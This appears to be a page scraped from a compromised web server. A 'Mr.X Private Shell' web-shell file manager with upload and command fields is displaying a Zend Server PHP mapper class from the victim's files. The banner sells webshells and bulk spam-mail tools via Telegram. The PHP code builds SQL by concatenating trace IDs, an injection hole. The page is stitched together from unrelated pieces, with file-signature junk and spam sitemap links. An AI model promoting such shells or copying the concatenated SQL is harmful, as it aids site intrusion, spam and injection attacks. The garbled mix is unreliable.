xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Codetracing;

use Zend\Db\Sql\Expression;
use Deployment\IdentityApplicationsAwareInterface;
use Deployment\IdentityFilterInterface;
use Zend\XmlRpc\Value\Integer;
use Zend\Db\Sql\Predicate\Like;
use Zend\Db\Table\Select;
use Zend\Db\Sql\Predicate\PredicateSet,
    Zend\Db\Sql\Where
;
use Configuration\MapperAbstract;
use ZendServer\Set;

class TraceFilesMapper extends MapperAbstract implements IdentityApplicationsAwareInterface
{
    protected $setClass = '\Codetracing\TraceFileContainer';

    /**
     * @var IdentityFilterInterface
     */
    private $identityFilter;

    const TRACE_ID     = 'trace_id';
    const FILEPATH     = 'filepath';
    const HOST         = 'host';
    const ORIGINAL_URL = 'originating_url';
    const FINAL_URL    = 'final_url';
    const TRACE_SIZE   = 'trace_size';
    const REASON       = 'reason';
    const TRACE_TIME   = 'trace_time';
    const NODE_ID      = 'node_id';
    const APP_ID       = 'app_id';

    /**
     * 
     * @param array $filters
     * @param int $limit
     * @param int $offset
     * @param string $orderBy
     * @param string $direction
     * @return Ambigous <\Zend\Db\ResultSet\ResultSet, \ZendServer\Set>
     */
    public function selectAllFileTraces(array $filters = array(), $limit = 20, $offset = 0, $orderBy = self::TRACE_TIME,
                                        $direction = 'Desc')
    {
        $limit  = intval($limit); // MySQL does not like getting the value in quotes. this might happen as this value might be received from the ini file
        $offset = intval($offset); // MySQL does not like getting the value in quotes. this might happen when paging

        $select = new \Zend\Db\Sql\Select($this->getTableGateway()->getTable());

        $select->where($this->getWhere($filters));

        // if ordering by URL, take "host" to consideration too.
        $orderByString = ($orderBy == self::ORIGINAL_URL) ?
            self::HOST.' '.$direction.', '.self::ORIGINAL_URL.' '.$direction :
            $orderBy.' '.$direction;
        $select->order($orderByString);
        $select->limit($limit);
        $select->offset($offset);

        return $this->selectWith($select);
    }

    /**
     *
     * @param array $filters
     */
    public function getTraceCount(array $filters = array())
    {
        $count  = new \Zend\Db\Sql\Select($this->getTableGateway()->getTable());
        $count->columns(array('count' => new Expression('COUNT(*)')));
        $where  = $this->getWhere($filters);
        $count->where($where);
        $sql    = $count->getSqlString($this->getTableGateway()->getAdapter()->getPlatform());
        $result = $this->getTableGateway()->getAdapter()->query($sql, \Zend\Db\Adapter\Adapter::QUERY_MODE_EXECUTE);
        $row    = $result->toArray();
        return $row[0]['count'];
    }

    /**
     * @param array $traceFileIds
     * @return Set
     */
    public function findCodetracesByIds(array $traceFileIds)
    {
        $where = new Where();
        $where->in(self::TRACE_ID, $traceFileIds);
        $where->in(self::APP_ID, current($this->filterIdentityApplications()));

        $resultArray = $this->select($where, false);

        $returnSet = array();
        foreach ($resultArray as $row) {
            $returnSet[$row[self::TRACE_ID]] = $row;
        }

        return new Set($returnSet, $this->setClass);
    }

    /**
     * @param string $traceFileId
     * @return \Codetracing\TraceFileContainer
     */
    public function findCodetraceById($traceFileId)
    {
        return $this->select(array('trace_id = \''.$traceFileId.'\' AND '.
                self::APP_ID.' IN ('.implode(',', current($this->filterIdentityApplications())).')')
            )->current()->toArray();
    }

    /**
     * @param array $traceFileIds
     * @return integer
     */
    public function deleteByTraceIds(array $traceFileIds)
    {
        return $this->getTableGateway()->delete('trace_id IN (\''.implode('\',\'', $traceFileIds).'\') AND '.
                self::APP_ID.' IN ('.implode(',', current($this->filterIdentityApplications())).')');
    }
    /* (non-PHPdoc)
     * @see \Deployment\IdentityApplicationsAwareInterface::setIdentityFilter()
     */

    public function setIdentityFilter(IdentityFilterInterface $filter)
    {
        $this->identityFilter = $filter;
        return $this;
    }

    /**
     * @param integer $applicationIds
     * @param boolean $emptyIsAll
     * @return integer
     */
    protected function filterIdentityApplications($params = array())
    {
        $this->identityFilter->setAddGlobalAppId(true);
        $applications           = isset($params['applications']) ? $params['applications'] : array();
        $params['applications'] = $this->identityFilter->filterAppIds($applications, true);
        return $params;
    }

    /**
     *
     * @param array $filters
     * @return \Zend\Db\Sql\Where
     */
    protected function getWhere(array $filters = array())
    {
        $filters = $this->filterIdentityApplications($filters);

        /* @var \Zend\Db\Sql */
        $where = new Where();
        if (isset($filters['type']) && $filters['type'] != '-1') {
            $type = $filters['type'];
            $where->equalTo(self::REASON, $type);
        }

        if (isset($filters['applications']) && is_array($filters['applications'])) {
            $applications = (array) $filters['applications'];
            $where->in(self::APP_ID, $applications);
        }

        if (isset($filters['freetext']) && $filters['freetext']) {
            $freetext = $filters['freetext'];
            $where->addPredicate(new \Zend\Db\Sql\Predicate\PredicateSet(
                array(
                new \Zend\Db\Sql\Predicate\Like(self::ORIGINAL_URL, "%{$freetext}%"),
                new \Zend\Db\Sql\Predicate\Like(self::HOST, "%{$freetext}%"),
                new \Zend\Db\Sql\Predicate\Like(self::TRACE_ID, "%{$freetext}%"),
                ), \Zend\Db\Sql\Predicate\PredicateSet::COMBINED_BY_OR
            ));
        }

        return $where;
    }
}

Filemanager

Name Type Size Permission Actions
Controller Folder 0755
Dump Folder 0755
Mapper Folder 0755
Trace Folder 0755
View Folder 0755
Model.php File 4.19 KB 0644
TraceFileContainer.php File 4.13 KB 0644
TraceFilesMapper.php File 5.93 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml